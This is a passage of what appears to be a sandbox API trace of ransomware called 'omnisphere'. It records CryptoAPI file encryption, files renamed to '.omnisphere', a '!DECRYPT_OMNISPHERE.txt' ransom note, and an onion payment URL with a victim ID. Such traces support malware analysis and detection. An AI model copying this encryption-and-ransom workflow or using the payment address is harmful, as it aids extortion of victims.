(in: hProv=0x1668570, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396a8) returned 1 [0119.725] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.725] CryptDestroyKey (hKey=0x16396a8) returned 1 [0119.725] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0119.725] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x288, lpName=0x0) returned 0x288 [0119.725] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x288) returned 0x1480000 [0119.725] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668570) returned 1 [0119.726] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0119.726] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.726] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.726] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.726] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.726] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.727] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.728] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.728] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0119.729] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.729] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.729] GetProcessHeap () returned 0x1600000 [0119.729] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ae) returned 0x16ad038 [0119.729] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cvDAOhNO K.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cvdaohno k.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cvDAOhNO K.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cvdaohno k.lnk.omnisphere")) returned 1 [0119.730] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cvDAOhNO K.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cvDAOhNO K.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cvDAOhNO K.lnk.omnisphere.id" [0119.730] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cvDAOhNO K.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cvdaohno k.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.742] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.743] CloseHandle (hObject=0x3c0) returned 1 [0119.743] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.744] CloseHandle (hObject=0x288) returned 1 [0119.744] SetEndOfFile (hFile=0x28c) returned 1 [0119.744] FlushFileBuffers (hFile=0x28c) returned 1 [0119.759] CloseHandle (hObject=0x28c) returned 1 [0119.759] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cvDAOhNO K.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.759] GetProcessHeap () returned 0x1600000 [0119.759] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16be568 [0119.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.759] GetProcessHeap () returned 0x1600000 [0119.759] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1e38 [0119.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1e38, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.760] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.760] GetProcessHeap () returned 0x1600000 [0119.760] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afce8 [0119.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afce8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.760] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.760] GetProcessHeap () returned 0x1600000 [0119.760] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2a38 [0119.760] PathCombineW (in: pszDest=0x16a2a38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.760] GetProcessHeap () returned 0x1600000 [0119.760] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b9098 [0119.760] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.760] WriteFile (in: hFile=0x28c, lpBuffer=0x16b9098*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b9098*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.761] CloseHandle (hObject=0x28c) returned 1 [0119.761] GetProcessHeap () returned 0x1600000 [0119.761] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16be568 | out: hHeap=0x1600000) returned 1 [0119.761] GetProcessHeap () returned 0x1600000 [0119.761] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.761] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.761] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.761] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.761] CloseHandle (hObject=0x28c) returned 1 [0119.762] GetProcessHeap () returned 0x1600000 [0119.762] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.762] GetProcessHeap () returned 0x1600000 [0119.762] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656ac0 | out: hHeap=0x1600000) returned 1 [0119.762] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x44111bf3, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44111bf3, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.762] GetProcessHeap () returned 0x1600000 [0119.762] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x167ba88 [0119.762] PathCombineW (in: pszDest=0x167ba88, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="desktop.ini" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini" [0119.762] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0119.762] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.762] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=432) returned 1 [0119.762] GetTickCount () returned 0x115dec4 [0119.762] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.763] GetTickCount () returned 0x115dec4 [0119.764] GetTickCount () returned 0x115dec4 [0119.764] GetTickCount () returned 0x115dec4 [0119.764] GetTickCount () returned 0x115dec4 [0119.764] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669010) returned 1 [0119.764] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0119.764] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.765] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.765] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0119.765] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b0, lpName=0x0) returned 0x288 [0119.765] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b0) returned 0x1480000 [0119.765] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16683d8) returned 1 [0119.766] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0119.766] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.766] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, 